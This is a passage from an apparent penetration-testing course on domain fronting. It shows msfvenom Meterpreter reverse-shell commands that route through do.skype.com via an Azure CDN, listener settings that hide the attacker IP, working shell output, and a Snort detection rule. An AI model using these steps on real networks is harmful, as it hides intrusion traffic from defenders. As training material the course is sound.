port (with a value less than 1024). We'll specify a module script with
-m http.server and the listening port number, which in this
case is 80:

$ sudo python3 -m http.server 80

Listing 12 - Running Python HTTP server

We'll create a short Python script to handle HTTPS connections. This
script will create an SSL wrapper around the default HTTP request
handler, SimpleHTTPRequestHandler, which was used in the example
above.

from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
import socketserver

httpd = socketserver.TCPServer(('138.68.99.177', 443), SimpleHTTPRequestHandler)

httpd.socket = ssl.wrap_socket(httpd.socket, 
        keyfile="key.pem", 
        certfile='cert.pem', server_side=True)

httpd.serve_forever()

Listing 13 - Python HTTPS server script

We can run this script and start the server with python3,
running it as sudo since we want to listen on port 443, which
is also a privileged port.

$ sudo python3 httpsserver.py

Listing 14 - Running Python HTTPS server script

Using either a browser or two simple curl requests from our
workstation, we can verify the connection. For HTTPS testing, we'll
need curl -k, which will accept our insecure self-signed
certificate.

kali@kali:~$ curl http://offensive-security.azureedge.net
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
</ul>
<hr>
</body>
</html>

kali@kali:~$ curl -k https://offensive-security.azureedge.net
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
</ul>
<hr>
</body>
</html>

Listing 15 - Verifying basic CDN connectivity

Next, we need to find a frontable domain. Since we set up our
CDN endpoint in Azure, our frontable domain must also be hosted
on Azure. Specifically, we need a domain that is hosted on
azureedge.net.

We'll use the FindFrontableDomains[523] script
(written by Steve Borosh a.k.a. @rvrsh3ll) to find domains we can use.

Let's download it from GitHub and run the setup.sh
installation script.

kali@kali:~$ git clone https://github.com/rvrsh3ll/FindFrontableDomains
Cloning into 'FindFrontableDomains'...
...

kali@kali:~$ cd FindFrontableDomains/

kali@kali:~/FindFrontableDomains$ sudo ./setup.sh 

Listing 16 - Installing FindFrontableDomains

Now we can search for frontable domains. For each domain,
FindFrontableDomains will try to find subdomains using various
services, and determine if they are hosted on a CDN network.

If we don't have a specific target in mind, we'll simply use
trial and error. For this example, we can make an educated guess
that since Microsoft owns Azure, some of their domains, like
microsoft.com, outlook.com, or skype.com
may be hosted there.

Let's start by scanning for frontable domains in
outlook.com by passing --domain outlook.com to
FindFrontableDomains.py.

kali@kali:~$ python3 FindFrontableDomains.py --domain outlook.com  
...

[-] Enumerating subdomains now for outlook.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 2553
www.outlook.com
(...)
recommended.yggdrasil.outlook.com
---------------------------------------------------------
Starting search for frontable domains...
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.

Search complete!

Listing 17 - Using FindFrontableDomains.py

The output reveals over two thousand subdomains, and one of them,
assets.outlook.com, is frontable.

We can test the viability of this domain with curl.
We'll set the Host header to our azureedge.net subdomain
(offensive-security.azureedge.net) with --header.

kali@kali:~$ curl --header "Host: offensive-security.azureedge.net" http://assets.outlook.com
kali@kali:~$

Listing 18 - Domain fronting test with curl

This returns a blank response because in this case, the CDN used by the
assets.outlook.com domain is in a different region or pricing
tier, which drastically affects our ability to use the domain for
fronting.

Moving on, we'll investigate skype.com.

kali@kali:~$ python3 FindFrontableDomains.py --domain skype.com  
...
Starting search for frontable domains...
Azure Frontable domain found: clientlogin.cdn.skype.com az866562.vo.msecnd.net.
Azure Frontable domain found: latest-swx.cdn.skype.com e458.wpc.azureedge.net.
Azure Frontable domain found: mrrcountries.cdn.skype.com mrrcountries.azureedge.net.
Azure Frontable domain found: mrrcountries.cdn.skype.com mrrcountries.ec.azureedge.net.
Azure Frontable domain found: latest-swc.cdn.skype.com latest-swc.azureedge.net.
Azure Frontable domain found: latest-swc.cdn.skype.com latest-swc.ec.azureedge.net.
Azure Frontable domain found: swx.cdn.skype.com e458.wpc.azureedge.net.
Azure Frontable domain found: swc.cdn.skype.com swc.azureedge.net.
Azure Frontable domain found: swc.cdn.skype.com swc.ec.azureedge.net.
Azure Frontable domain found: s4w.cdn.skype.com az663213.vo.msecnd.net.
Azure Frontable domain found: sdk.cdn.skype.com az805177.vo.msecnd.net.
Azure Frontable domain found: do.skype.com skype-do.azureedge.net.
Azure Frontable domain found: do.skype.com skype-do.ec.azureedge.net.

Search complete!

Listing 19 - Search frontable domains under skype.com

This produces quite a few responses. Let's test do.skype.com.

kali@kali:~$ curl --header "Host: offensive-security.azureedge.net" http://do.skype.com
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
</ul>
<hr>
</body>
</html>

Listing 20 - Domain fronting test with curl

This produced more output than the previous test. This is promising.
Let's inspect the traffic, including the DNS and HTTP request, in
more detail.

We'll start Wireshark on our Kali machine and run the curl
command again.

Figure 37: Domain fronting in Wireshark

As expected, Figure 37 reveals a DNS request to
do.skype.com followed by an HTTP request to the IP reported
for that domain.

Let's analyze the DNS response by selecting the relevant packet.

Figure 38: DNS answer for do.skype.com

This reveals that do.skype.com is a CNAME record. After
several requests, the server returns the 152.199.19.161 IP address.

Next, we'll check the HTTP traffic by right-clicking one of the TCP
packets and selecting Follow TCP Stream.

Figure 39: HTTP traffic to do.skype.com

We see the Host header being set to
offensive-security.azureedge.net, which routes the traffic
to our CDN, ultimately fetching the contents from our webserver at
meterpreter.info. This confirms that our domain fronting
works with HTTP. The problem with this is that a proxy can still see
this traffic as it is unencrypted.

Let's verify our setup over HTTPS.

kali@kali:~$ curl --header "Host: offensive-security.azureedge.net" https://do.skype.com
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ascii">
<title>Directory listing for /</title>
...

Listing 21 - HTTPS domain fronting test with curl

The results are promising, matching the response from our HTTP test in
Listing 15.

Let's again start Wireshark, rerun the test, and inspect the traffic.

Figure 40: HTTPS traffic to do.skype.com

Wireshark reveals encrypted HTTPS traffic to the same IP as our
previous test.

The certificate in the TLS key exchange is Microsoft's certificate.
We can verify this by selecting the Certificate, Server Key Exchange,
Server Hello Done
packet, and inspecting its details:

Figure 41: Certificate from do.skype.com

In the same packet, we also find that this certificate is valid for
99 different domains, which is set via the Subject Alternative Names
(SAN).[524] This means that a single certificate can be used for
99 different domains and will use the same encryption key:

Figure 42: Alternate domain names of the certificate

We can also view the details of the SAN in this packet.

In short, domain fronting is working perfectly via both HTTP and
HTTPS. This means that if our target environment is not using HTTPS
inspection, our HTTPS traffic will not only be hidden but it will
appear to be directed to do.skype.com.

Since many organizations use Skype for meetings, this traffic won't
stand out and will be considered legitimate. This allows us to bypass
domain, proxy, and IDS filters in one shot.

The last item we need to test is that our reverse shell is working
properly. We'll use HTTP so we can inspect the traffic contents,
allowing us to verify that the connection is being set up as intended.

First, we'll create a reverse shell payload. The only extra field we
need to set is the HttpHostHeader, which will set the Host header in
HTTP.

kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe > http-df.exe

Listing 22 - Creating Meterpreter reverse HTTP shell with
HttpHostHeader option

Next, we need to configure a listener on our VM that is hosting
meterpreter.info.

When we use a staged payload, there are some additional settings we
need to configure for our listener.

The first stage will set the address for the second stage based on
the actual IP address and port of the listener. This won't work for
us because it will directly connect to our real IP. Since we obviously
want to hide communication to this IP, we'll need to ensure that the
second stage is also connecting to do.skype.com.

To do this, we'll need to set up some advanced options for our
listener. We need to set the OverrideLHOST option to our domain, and
also set OverrideRequestHost to "true". We can change the listening
port as well with the OverrideLPORT option, but this is unnecessary
for this example.

Once this is set up we will start the listener with run -j,
which will run the listener as a job.

msf5 exploit(multi/handler) > set LHOST do.skype.com

msf5 exploit(multi/handler) > set OverrideLHOST do.skype.com

msf5 exploit(multi/handler) > set OverrideRequestHost true

msf5 exploit(multi/handler) > set HttpHostHeader offensive-security.azureedge.net

msf5 exploit(multi/handler) > run -j
...

[-] Handler failed to bind to 152.199.19.161:80
[*] Started HTTP reverse handler on http://0.0.0.0:80

Listing 23 - Setting up Meterpreter reverse HTTP shell listener

Metasploit will display an error that it failed to bind to
152.199.19.161 because it's the address of the original domain
(do.skype.com), which is not hosted on our machine. However,
Metasploit will failover and bind to all local interfaces.

Before we execute our payload, let's start Wireshark so we can inspect
the traffic details.

Finally, we'll execute our payload.

msf5 exploit(multi/handler) > 
[*] http://do.skype.com:80 handling request from 152.195.142.158; (UUID: mbgovmvr) Staging python payload (53985 bytes) ...
[*] Meterpreter session 3 opened (138.68.99.177:80 -> 152.195.142.158:54524)

msf5 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid 
Server username: offsec

Listing 24 - Meterpreter reverse HTTP shell with domain fronting

Very Nice. Our shell appears to be working perfectly.

Let's inspect our traffic in Wireshark to make sure the connection
worked as expected.

Figure 43: HTTP domain fronting with do.skype.com

Based on the TCP packets, the shell connected to 152.199.19.161, the
IP address of do.skype.com. Let's take a look at the Host
request headers with Follow TCP Stream.

Figure 44: HTTP domain fronting with do.skype.com

The HTTP Host headers are also set to
offensive-security-azureedge.net. This verifies that our
reverse shell worked via domain fronting. Excellent!

In this section, we demonstrated an Azure domain fronting scenario. We
set up a CDN, configured our Meterpreter shell with extra parameters
to work with domain fronting, and analyzed the packets to view and
confirm that our fronting setup worked as expected. Although this was
a real-world scenario that we can't replicate in the lab, in the next
section we'll show a simplified setup that will allow us to practice
these concepts.

Exercise

  1. Use FindFrontableDomains to locate additional domains that can be
    used for domain fronting.

Extra Mile

Censys is a search engine similar to Shodan, searching
Internet-connected devices based on their fingerprint information,
like webserver type, certificate details, etc. Use this service to
find Azure domain-frontable sites. The following guide[525]
will show the necessary steps.

Domain Fronting in the Lab

In this exercise, we will practice domain fronting in our lab
environment. Our goal will be to use the trusted good.com
domain to reach the otherwise blocked bad.com domain. Our CDN
hostname will be cdn123.offseccdn.com, which will point to
the IP address of bad.com.

Since we don't have Internet connectivity in the lab, we'll emulate
this environment and describe the setup.

Figure 45 below outlines the lab design.

Figure 45: Lab setup for domain fronting

The DNS server (dnsmasq[526]) is running on the Ubuntu machine,
which also runs Snort. We also use an NGINX webserver, which will be
used to simulate the CDN network.

In order to use dnsmasq for name resolution, we will need to configure
IP-to-domain mapping in the /etc/hosts file.

Our configuration is shown in Listing 25.

127.0.0.1       localhost
127.0.1.1       ips
172.16.51.21 good.com
192.168.119.120 bad.com
172.16.51.21 cdn123.offseccdn.com

Listing 25 - /etc/hosts file

We need to update the entry for bad.com to point to our Kali
machine.

For the change to take effect, we need to restart both dnsmasq and
nginx as shown in Listing 26.

offsec@ubuntu:~$ sudo systemctl restart dnsmasq
offsec@ubuntu:~$ sudo systemctl restart nginx

Listing 26 - Restart dnsmasq and nginx

In this example, good.com is considered safe for client
access. The bad.com domain is blocked by Snort, which will
drop all DNS queries using this snort rule:

drop udp any any -> any 53 (msg:"VIRUS DNS query for malicious bad.com domain"; content:"|01|"; offset:2; depth:1; content:"|00 01 00 00 00 00 00|"; distance:1; within:7; content:"|03|bad|03|com"; fast_pattern; classtype:bad-unknown; sid:2013482; rev:4;)

Listing 27 - Snort rule to block bad.com domain

This rule has a number of parameters that are relevant to us.

The "drop udp any any -> any 53" section specifies that UDP traffic
coming from any source IP, and any port, destined to any IP on port 53
(which is typically DNS) will be dropped if a rule match is detected.

Furthermore, the rule itself contains a number of options that are
used for match determinations. The msg option contains the message
that Snort will return when a rule match is detected. While most of
the other options in the rule shown in Figure 27 are not
specifically relevant for this example, we do care about "content".
In our case, "content:"|03|bad|03|com"" indicates the domain name,
which is bad.com. The "03" value specifies the length of the string
that follows. This value is set for each part of the FQDN. As another
example, if we wanted to match on google.com, we would
instead use content:"|06|google|03|com".

We can test this setup from the Windows machine, by either trying to
open bad.com in the browser, which will timeout, or making
a domain lookup with nslookup. We can also look up the
good.com domain to confirm that the DNS server is working.

C:\Users\offsec> nslookup bad.com
Server:  good.com
Address:  172.16.51.21

*** good.com can't find bad.com: No response from server

C:\Users\offsec> nslookup good.com
Server:  good.com
Address:  172.16.51.21

Name:    good.com
Address:  172.16.51.21

Listing 28 - Testing good.com and bad.com DNS lookups

Since the NGINX server is also serving content for good.com,
which in our example is a safe domain, the traffic destined for it
will be allowed through. We can test the web server component by
browsing good.com from the Windows VM.

Figure 46: good.com served

Finally, cdn123.offseccdn.com represents a CDN endpoint that
is serving content for bad.com.

To represent a CDN network, we configured NGINX as a reverse proxy
for this domain so it forwards all requests to the bad.com
domain.

The configuration file related to this
domain can be found on the Ubuntu machine at
/etc/nginx/sites-available/cdn123.offseccdn.com:

server {
  listen 443 ssl;
  server_name cdn123.offseccdn.com;
  ssl_certificate     cdn.crt;
  ssl_certificate_key cdn.key;

  location / {
         proxy_pass https://bad.com
         proxy_ssl_verify off;
   }
}

Listing 29 - NGINX configuration for cdn123.offseccdn.com

The domain is configured with the proxy_pass setting.
Since we are using self-signed certificates, we also need to set
proxy_ssl_verify to "off".

To recap, the overall idea is that we will connect to the trusted
good.com domain and use the cdn123.offseccdn.com
domain in the HTTP Host header to access the domain bad.com.
As both of these domains are served from the same machine, the request
will be forwarded to our Kali machine.

On our Kali machine, we'll create our reverse HTTPS Meterpreter
shell, where we set good.com as the LHOST and
cdn123.offseccdn.com as the HttpHostHeader. We'll also
configure a listener to handle this shell. Note that here we will
use a stageless payload, so we don't need to configure the
OverrideLHOST and OverrideRequestHost options we discussed in the
previous section.

kali@kali:~$ msfvenom -p windows/x64/meterpreter_reverse_https HttpHostHeader=cdn123.offseccdn.com LHOST=good.com LPORT=443 -f exe > https-df.exe

Listing 30 - Create an HTTPS reverse shell with msfvenom

Next, we'll transfer the payload to the victim and start a Wireshark
capture so we can inspect traffic later. Finally, we'll run the
payload.

msf5 exploit(multi/handler) > run

[-] Handler failed to bind to 206.124.122.115:443
[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] https://good.com:443 handling request from 192.168.120.21; (UUID: gklf4zr8) Redirecting stageless connection from /565XLYsZVn16GXsbJTPhXw-b83vlJF9C3018Kx2Qna04Mu7jN6LpH91I1kkDAww9cJHGlKu3zibA2e9ULmJ68e1ppmobSzbgMDuK2UIensZ3_C-LWScAH3a5lve with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://good.com:443 handling request from 192.168.120.21; (UUID: gklf4zr8) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.21:48490)

meterpreter > 

Listing 31 - Getting HTTP reverse shell with domain fronting

If everything was configured correctly, we should have a working
reverse shell.

Let's inspect the traffic in Wireshark. We can apply a traffic filter
to exclude all RDP traffic between our Kali machine and the Windows
VM:

!(tcp.port == 3389)

Listing 32 - Wireshark Traffic Filter to Exclude RDP

Next, let's inspect the DNS request:

Figure 47: DNS request to good.com

Figure 47 shows the proper IP for
good.com.

Next, we need to confirm that the client asked for the right
certificate, which we can find in the TLS Client Hello packet, in the
SNI field.

Figure 48: TLS Client SNI to good.com

The client did, in fact, properly set the SNI field to request the
certificate from good.com.

Finally, we'll check the TLS Server Hello packet for the certificate:

Figure 49: TLS Server replies with certificate of good.com

In this case, the Ubuntu NGINX server replied with the certificate of
good.com.

The rest of the traffic is encrypted but since we received our
Meterpreter shell, we can confirm that it works properly. Very Nice.

In this section, we performed domain fronting in the lab. We targeted
our traffic to the good.com domain, which was hosted on the
same server as cdn123.offseccdn.com. With the second domain
being redirected to our Kali machine, we completely masked the target
of our traffic.

Although CDNs work differently in the real world, the impact and
visibility of the traffic is the same.

Exercises

  1. Repeat the steps above to perform a domain fronting attack in the
    lab.
  2. Perform the same attack for HTTP and inspect the HTTP packets
    for the correct Host header information. This NGINX configuration is
    available on the server:
offsec@ubuntu:/etc/nginx/sites-available$ cat exercise.offseccdn.com 
server {
  listen 80;
  server_name exercise.offseccdn.com;
  
  location / {
         proxy_pass http://bad.com
   }
}